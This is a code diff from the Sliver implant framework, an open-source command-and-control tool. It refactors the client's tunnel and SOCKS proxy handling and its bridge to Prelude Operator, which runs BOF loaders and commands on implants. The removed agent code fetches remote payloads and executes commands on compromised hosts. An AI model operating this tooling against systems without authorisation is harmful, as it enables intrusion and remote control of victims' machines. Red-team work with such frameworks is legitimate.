shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
// Prelude Operator
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.AddSession(session)
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(session, nil)
if err != nil {
con.PrintEventErrorf("Could not add session to Operator: %s", err)
}
@@ -215,13 +214,14 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventErrorf("Lost session %s %s - %s (%s) - %s/%s - %v",
shortID, session.Name, session.RemoteAddress, session.Hostname, session.OS, session.Arch, currentTime)
activeSession := con.ActiveTarget.GetSession()
core.GetTunnels().CloseForSession(session.ID)
if activeSession != nil && activeSession.ID == session.ID {
con.ActiveTarget.Set(nil, nil)
con.PrintEventErrorf("Active session disconnected")
con.App.SetPrompt(con.GetPrompt())
}
if prelude.SessionMapper != nil {
err = prelude.SessionMapper.RemoveSession(session)
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.RemoveImplant(session)
if err != nil {
con.PrintEventErrorf("Could not remove session from Operator: %s", err)
}
@@ -236,6 +236,16 @@ func (con *SliverConsoleClient) EventLoop() {
con.PrintEventInfof("Beacon %s %s - %s (%s) - %s/%s - %v",
shortID, beacon.Name, beacon.RemoteAddress, beacon.Hostname, beacon.OS, beacon.Arch, currentTime)
// Prelude Operator
if prelude.ImplantMapper != nil {
err = prelude.ImplantMapper.AddImplant(beacon, func(taskID string, cb func(*clientpb.BeaconTask)) {
con.AddBeaconCallback(taskID, cb)
})
if err != nil {
con.PrintEventErrorf("Could not add beacon to Operator: %s", err)
}
}
case consts.BeaconTaskResultEvent:
con.triggerBeaconTaskCallback(event.Data)
}
+1
View File
@@ -167,6 +167,7 @@ const (
ExecuteStr = "execute"
LsStr = "ls"
MvStr = "mv"
RmStr = "rm"
MkdirStr = "mkdir"
CdStr = "cd"
+25 -7
View File
@@ -1,5 +1,23 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"io"
@@ -116,7 +134,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
}
tunnel, err := p.dialImplant(ctx)
if cancel != nil {
cancel()
defer cancel()
}
if err != nil {
return
@@ -124,8 +142,8 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) {
// Cleanup
defer func() {
go conn.Close()
Tunnels.Close(tunnel.ID)
conn.Close()
GetTunnels().Close(tunnel.ID)
}()
errs := make(chan error, 1)
@@ -172,7 +190,7 @@ func (p *ChannelProxy) Host() string {
return host
}
func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) {
log.Printf("[tcpproxy] Dialing implant to create tunnel ...")
@@ -185,7 +203,7 @@ func (p *ChannelProxy) dialImplant(ctx context.Context) (*Tunnel, error) {
return nil, err
}
log.Printf("[tcpproxy] Created new tunnel with id %d (session %s)", rpcTunnel.TunnelID, p.Session.ID)
tunnel := Tunnels.Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
tunnel := GetTunnels().Start(rpcTunnel.TunnelID, rpcTunnel.SessionID)
log.Printf("[tcpproxy] Binding tunnel to portfwd %d", p.Port())
portfwdResp, err := p.Rpc.Portfwd(ctx, &sliverpb.PortfwdReq{
@@ -219,7 +237,7 @@ func (p *ChannelProxy) dialTimeout() time.Duration {
return 30 * time.Second
}
func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func toImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
if wc, ok := conn.(*tcpproxy.Conn); ok && len(wc.Peeked) > 0 {
if _, err := tunnel.Write(wc.Peeked); err != nil {
errs <- err
@@ -232,7 +250,7 @@ func toImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
errs <- err
}
func fromImplantLoop(conn net.Conn, tunnel *Tunnel, errs chan<- error) {
func fromImplantLoop(conn net.Conn, tunnel *TunnelIO, errs chan<- error) {
n, err := io.Copy(conn, tunnel)
log.Printf("[tcpproxy] Closing from-implant after %d byte(s)", n)
errs <- err
+70 -34
View File
@@ -20,11 +20,10 @@ package core
import (
"context"
"fmt"
"io"
"log"
"net"
"sync"
"sync/atomic"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -37,16 +36,16 @@ import (
var (
// SocksProxies - Struct instance that holds all the portfwds
SocksProxies = socksProxy{
tcpProxies: map[int]*SocksProxy{},
tcpProxies: map[uint64]*SocksProxy{},
mutex: &sync.RWMutex{},
}
SocksConnPool = sync.Map{}
SocksProxyID = 0
SocksProxyID = (uint64)(0)
)
// PortfwdMeta - Metadata about a portfwd listener
type SocksProxyMeta struct {
ID int
ID uint64
SessionID string
BindAddr string
Username string
@@ -60,14 +59,28 @@ type TcpProxy struct {
Password string
BindAddr string
Listener net.Listener
stopChan bool
KeepAlivePeriod time.Duration
DialTimeout time.Duration
}
func (tcp *TcpProxy) Stop() error {
err := tcp.Listener.Close()
// Closing all connections in pool
SocksConnPool.Range(func(key, value interface{}) bool {
con := value.(net.Conn)
con.Close()
return err == nil
})
return err
}
// SocksProxy - Tracks portfwd<->tcpproxy
type SocksProxy struct {
ID int
ID uint64
ChannelProxy *TcpProxy
}
@@ -83,7 +96,7 @@ func (p *SocksProxy) GetMetadata() *SocksProxyMeta {
}
type socksProxy struct {
tcpProxies map[int]*SocksProxy
tcpProxies map[uint64]*SocksProxy
mutex *sync.RWMutex
}
@@ -91,6 +104,7 @@ type socksProxy struct {
func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
f.mutex.Lock()
defer f.mutex.Unlock()
Sockser := &SocksProxy{
ID: nextSocksProxyID(),
ChannelProxy: tcpProxy,
@@ -101,49 +115,56 @@ func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy {
}
func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
proxy, err := tcpProxy.Rpc.SocksProxy(context.Background())
ctx, cancel := context.WithCancel(context.Background())
proxy, err := tcpProxy.Rpc.SocksProxy(ctx)
defer cancel()
if err != nil {
return err
}
go func() {
for !tcpProxy.stopChan {
for {
FromImplantSequence := 0
p, err := proxy.Recv()
socksData, err := proxy.Recv()
if err != nil {
log.Printf("Failed to Recv from proxy, %s\n", err)
return
}
if v, ok := SocksConnPool.Load(p.TunnelID); ok {
n := v.(net.Conn)
if p.CloseConn {
n.Close()
SocksConnPool.Delete(p.TunnelID)
if v, ok := SocksConnPool.Load(socksData.TunnelID); ok {
conn := v.(net.Conn)
if socksData.CloseConn {
conn.Close()
SocksConnPool.Delete(socksData.TunnelID)
continue
}
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(p.Data))
log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data))
//fmt.Printf("recv data len %d \n", len(p.Data))
_, err := n.Write(p.Data)
_, err := conn.Write(socksData.Data)
if err != nil {
log.Printf("Failed to write data to proxy connection, %s\n", err)
continue
}
FromImplantSequence++
}
}
}()
for !tcpProxy.stopChan {
l, err := tcpProxy.Listener.Accept()
for {
connection, err := tcpProxy.Listener.Accept()
if err != nil {
return err
log.Printf("Failed to accept new listener, probably already closed: %s\n", err)
break
}
rpcSocks, err := tcpProxy.Rpc.CreateSocks(context.Background(), &sliverpb.Socks{
SessionID: tcpProxy.Session.ID,
})
if err != nil {
fmt.Println(err)
return err
log.Printf("Failed rcp call to create socks %s\n", err)
break
}
go connect(l, proxy, &sliverpb.SocksData{
go connect(connection, proxy, &sliverpb.SocksData{
Username: tcpProxy.Username,
Password: tcpProxy.Password,
TunnelID: rpcSocks.TunnelID,
@@ -151,17 +172,18 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error {
})
}
log.Printf("Socks Stop -> %s\n", tcpProxy.BindAddr)
tcpProxy.Listener.Close()
tcpProxy.Stop() // well, at this moment we already in stop state, but anyway
proxy.CloseSend()
return nil
}
// Remove - Remove a TCP proxy instance
func (f *socksProxy) Remove(socksId int) bool {
func (f *socksProxy) Remove(socksId uint64) bool {
f.mutex.Lock()
defer f.mutex.Unlock()
if _, ok := f.tcpProxies[socksId]; ok {
f.tcpProxies[socksId].ChannelProxy.stopChan = true
f.tcpProxies[socksId].ChannelProxy.Stop()
delete(f.tcpProxies, socksId)
return true
}
@@ -179,9 +201,8 @@ func (f *socksProxy) List() []*SocksProxyMeta {
return socksProxy
}
func nextSocksProxyID() int {
SocksProxyID++
return SocksProxyID
func nextSocksProxyID() uint64 {
return atomic.AddUint64(&SocksProxyID, 1)
}
const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096)
@@ -192,6 +213,19 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
SocksConnPool.Store(frame.TunnelID, conn)
defer func() {
// It's neccessary to close and remove connection once we done with it
c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID)
if !ok {
return
}
conn := c.(net.Conn)
conn.Close()
log.Printf("[socks] connection closed")
}()
log.Printf("tcp conn %q<--><-->%q \n", conn.LocalAddr(), conn.RemoteAddr())
buff := leakyBuf.Get()
@@ -199,11 +233,12 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
var ToImplantSequence uint64 = 0
for {
n, err := conn.Read(buff)
if err != nil {
if err == io.EOF {
return
}
continue
log.Printf("[socks] (User to Client) failed to read data, %s ", err)
// Error basically means that the connection is closed(EOF) OR deadline exceeded
// In any of that cases, it's better to just giveup
return
}
if n > 0 {
frame.Data = buff[:n]
@@ -211,6 +246,7 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv
log.Printf("[socks] (User to Client) to Server to agent Data Sequence %d , Data Size %d \n", ToImplantSequence, len(frame.Data))
err := stream.Send(frame)
if err != nil {
log.Printf("[socks] (User to Client) failed to send data, %s ", err)
return
}
ToImplantSequence++
+44 -112
View File
@@ -1,130 +1,54 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"io"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// Tunnels - Holds refs to all tunnels
Tunnels tunnels
)
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*Tunnel
mutex *sync.RWMutex
stream rpcpb.SliverRPC_TunnelDataClient
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *Tunnel {
t.mutex.RLock()
defer t.mutex.RUnlock()
return (*t.tunnels)[tunnelID]
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *Tunnel {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := &Tunnel{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
}
(*t.tunnels)[tunnelID] = tunnel
go func() {
tunnel.IsOpen = true
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
t.stream.Send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
}
}()
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
log.Printf("Closing tunnel %d", tunnelID)
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
delete((*t.tunnels), tunnelID)
tunnel.IsOpen = false
close(tunnel.Recv)
close(tunnel.Send)
}
}
// Tunnel - Duplex data tunnel
type Tunnel struct {
ID uint64
IsOpen bool
SessionID string
Send chan []byte
Recv chan []byte
}
// Write - Writer method for interface
func (tun *Tunnel) Write(data []byte) (int, error) {
log.Printf("Write %d bytes", len(data))
if !tun.IsOpen {
return 0, io.EOF
}
tun.Send <- data
n := len(data)
return n, nil
}
// Read - Reader method for interface
func (tun *Tunnel) Read(data []byte) (int, error) {
var buff bytes.Buffer
if !tun.IsOpen {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
recvData := <-tun.Recv
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// TunnelLoop - Parses incoming tunnel messages and distributes them
// to session/tunnel objects
// Expected to be called only once during initialization
func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Println("Starting tunnel data loop ...")
defer log.Printf("Warning: TunnelLoop exited")
stream, err := rpc.TunnelData(context.Background())
ctx, cancel := context.WithCancel(context.Background())
stream, err := rpc.TunnelData(ctx)
defer cancel()
if err != nil {
return err
}
Tunnels = tunnels{
tunnels: &map[uint64]*Tunnel{},
mutex: &sync.RWMutex{},
stream: stream,
}
for {
// log.Printf("Waiting for TunnelData ...")
GetTunnels().SetStream(stream)
for {
log.Printf("Waiting for TunnelData ...")
incoming, err := stream.Recv()
// log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream msg: %v", incoming)
log.Printf("Recv stream err: %s", err)
if err == io.EOF {
log.Printf("EOF Error: Tunnel data stream closed")
return nil
@@ -133,16 +57,24 @@ func TunnelLoop(rpc rpcpb.SliverRPCClient) error {
log.Printf("Tunnel data read error: %s", err)
return err
}
// log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := Tunnels.Get(incoming.TunnelID)
log.Printf("Received TunnelData for tunnel %d", incoming.TunnelID)
tunnel := GetTunnels().Get(incoming.TunnelID)
if tunnel != nil {
data := incoming.GetData()
log.Printf("This is data on tunnel %d: %s", tunnel.ID, data)
if !incoming.Closed {
log.Printf("Received data on tunnel %d", tunnel.ID)
tunnel.Recv <- incoming.GetData()
err = tunnel.RecvData(data)
if err != nil {
log.Printf("Warning! Error sending data to tunnel %d, %v", tunnel.ID, err)
}
} else {
log.Printf("Closing tunnel %d", tunnel.ID)
tunnel.IsOpen = false
close(tunnel.Recv)
GetTunnels().Close(tunnel.ID)
}
} else {
log.Printf("Received tunnel data for non-existent tunnel id %d", incoming.TunnelID)
+146
View File
@@ -0,0 +1,146 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"errors"
"io"
"log"
"sync"
)
// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter
type TunnelIO struct {
ID uint64
SessionID string
Send chan []byte
Recv chan []byte
isOpen bool
mutex *sync.RWMutex
}
// NewTunnelIO - Single entry point for creating instance of new TunnelIO
func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO {
log.Printf("New tunnel!: %d", tunnelID)
return &TunnelIO{
ID: tunnelID,
SessionID: sessionID,
Send: make(chan []byte),
Recv: make(chan []byte),
isOpen: false,
mutex: &sync.RWMutex{},
}
}
// Write - Writer method for interface
func (tun *TunnelIO) Write(data []byte) (int, error) {
if !tun.IsOpen() {
log.Printf("Warning: Write on closed tunnel %d", tun.ID)
return 0, io.EOF
}
// This is necessary to avoid any race conditions on thay byte array
dataCopy := make([]byte, len(data))
n := copy(dataCopy, data)
log.Printf("Write %d bytes", n)
log.Printf("This bytes is: %s", dataCopy)
tun.Send <- dataCopy
return n, nil
}
// Read - Reader method for interface
func (tun *TunnelIO) Read(data []byte) (int, error) {
recvData, ok := <-tun.Recv
if !ok {
log.Printf("Warning: Read on closed tunnel %d", tun.ID)
return 0, io.EOF
}
var buff bytes.Buffer
log.Printf("Read %d bytes", len(recvData))
buff.Write(recvData)
n := copy(data, buff.Bytes())
return n, nil
}
// Close - Close tunnel IO operations
func (tun *TunnelIO) Close() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
log.Printf("Warning: Close on closed tunnel %d", tun.ID)
// I guess we can ignore it and don't return any error
return nil
}
log.Printf("Close tunnel %d", tun.ID)
tun.isOpen = false
close(tun.Recv)
close(tun.Send)
return nil
}
func (tun *TunnelIO) IsOpen() bool {
tun.mutex.RLock()
defer tun.mutex.RUnlock()
return tun.isOpen
}
func (tun *TunnelIO) Open() error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if tun.isOpen {
return errors.New("tunnel relady in open state")
}
log.Printf("Open tunnel %d", tun.ID)
tun.isOpen = true
return nil
}
// RecvData - safe way to send data to internal Recv channel. Blocking.
func (tun *TunnelIO) RecvData(data []byte) error {
tun.mutex.Lock()
defer tun.mutex.Unlock()
if !tun.isOpen {
return errors.New("closed tunnel")
}
tun.Recv <- data
return nil
}
+162
View File
@@ -0,0 +1,162 @@
package core
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"errors"
"log"
"sync"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var (
// tunnelsStorage - Holds refs to all tunnels
tunnelsStorage *tunnels
tunnelsSingletonLock = &sync.Mutex{}
)
// GetTunnels - singleton function that returns or initializes all tunnels
func GetTunnels() *tunnels {
tunnelsSingletonLock.Lock()
defer tunnelsSingletonLock.Unlock()
if tunnelsStorage == nil {
log.Println("Creating single instance of tunnels.")
tunnelsStorage = &tunnels{
tunnels: &map[uint64]*TunnelIO{},
mutex: &sync.RWMutex{},
streamMutex: &sync.Mutex{},
}
}
return tunnelsStorage
}
// Holds the tunnels locally so we can map incoming data
// messages to the tunnel
type tunnels struct {
tunnels *map[uint64]*TunnelIO
mutex *sync.RWMutex
streamMutex *sync.Mutex
stream rpcpb.SliverRPC_TunnelDataClient
}
func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
log.Printf("Set stream")
t.stream = stream
}
// Get - Get a tunnel
func (t *tunnels) Get(tunnelID uint64) *TunnelIO {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Get tunnel %d", tunnelID)
return (*t.tunnels)[tunnelID]
}
// send - safe way to send a message to the stream
// protobuf stream allow only one writer at a time, so just in case there is a mutex for it
func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error {
t.streamMutex.Lock()
defer t.streamMutex.Unlock()
if t.stream == nil {
return errors.New("uninitizlied stream")
}
log.Printf("Private send to stream, tunnelId: %d", tunnelData.TunnelID)
return t.stream.Send(tunnelData)
}
// Start - Add a tunnel to the core mapper
func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO {
t.mutex.Lock()
defer t.mutex.Unlock()
tunnel := NewTunnelIO(tunnelID, sessionID)
(*t.tunnels)[tunnelID] = tunnel
go func(tunnel *TunnelIO) {
tunnel.Open()
log.Printf("Tunnel now is open, %d", tunnelID)
for data := range tunnel.Send {
log.Printf("Send %d bytes on tunnel %d", len(data), tunnel.ID)
err := t.send(&sliverpb.TunnelData{
TunnelID: tunnel.ID,
SessionID: tunnel.SessionID,
Data: data,
})
if err != nil {
log.Printf("Error sending, %s", err)
}
}
log.Printf("Tunnel Send channel looks closed now. %d", tunnelID)
}(tunnel)
tunnel.Send <- make([]byte, 0) // Send "zero" message to bind client to tunnel
return tunnel
}
// Close - Close the tunnel channels
func (t *tunnels) Close(tunnelID uint64) {
t.mutex.Lock()
defer t.mutex.Unlock()
log.Printf("Closing tunnel %d", tunnelID)
tunnel := (*t.tunnels)[tunnelID]
if tunnel != nil {
tunnel.Close()
delete((*t.tunnels), tunnelID)
}
}
// CloseForSession - closing all tunnels for specified session id
func (t *tunnels) CloseForSession(sessionID string) {
t.mutex.RLock()
defer t.mutex.RUnlock()
log.Printf("Closing all tunnels for session %s", sessionID)
for tunnelID, tunnel := range *t.tunnels {
if tunnel.SessionID == sessionID {
// Weird way to avoid deadlocks but let it be
go func(tunnelID uint64) {
GetTunnels().Close(tunnelID)
}(tunnelID)
}
}
}
-166
View File
@@ -1,166 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"bytes"
"context"
"encoding/json"
"fmt"
"io"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/client/prelude/util"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
type AgentSession struct {
Conn *net.Conn
Session *clientpb.Session
RPC rpcpb.SliverRPCClient
Beacon Beacon
Config AgentConfig
}
func NewAgentSession(c *net.Conn, s *clientpb.Session, rpc rpcpb.SliverRPCClient, b Beacon, conf AgentConfig) *AgentSession {
return &AgentSession{
Conn: c,
Session: s,
RPC: rpc,
Config: conf,
Beacon: b,
}
}
func (a *AgentSession) ReceiveLoop() {
for {
err := a.send()
if err != nil {
return
}
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
message := strings.TrimSpace(scanner.Text())
err = a.respond(message)
if err != nil {
return
}
}
}
}
func (a *AgentSession) send() error {
data, err := json.Marshal(a.Beacon)
if err != nil {
return err
}
dataBuff := bytes.NewReader(append(util.Encrypt(data), "\n"...))
sendBuffer := make([]byte, 1024)
for {
_, err := dataBuff.Read(sendBuffer)
if err == io.EOF {
return nil
}
if err != nil {
return err
}
if _, err = (*a.Conn).Write(sendBuffer); err != nil {
return err
}
time.Sleep(time.Duration(a.Beacon.Sleep))
}
}
func (a *AgentSession) respond(message string) error {
var tempBeacon Beacon
if err := json.Unmarshal([]byte(util.Decrypt(message)), &tempBeacon); err == nil {
a.Beacon.Links = a.Beacon.Links[:0]
a.runLinks(&tempBeacon)
}
a.refreshBeacon(&a.Config)
a.send()
return nil
}
func (a *AgentSession) runLinks(tempBeacon *Beacon) {
for _, link := range a.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
response, status, pid := RunCommand(link.Request, link.Executor, payload, a)
link.Response = response
link.Status = status
link.Pid = pid
a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+37 -12
View File
@@ -1,5 +1,23 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -9,7 +27,6 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -25,9 +42,9 @@ type bofArgs struct {
Value interface{} `json:"value"`
}
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
if err != nil {
return
}
@@ -37,6 +54,8 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
@@ -89,13 +108,19 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
@@ -104,16 +129,16 @@ func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, ar
return
}
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch session.Arch {
switch implant.GetArch() {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
@@ -121,9 +146,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: session.OS,
OS: implant.GetOS(),
Init: "",
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return err
@@ -134,9 +159,9 @@ func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error
return nil
}
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(session),
Request: MakeRequest(implant),
})
if err != nil {
return false
+206
View File
@@ -0,0 +1,206 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
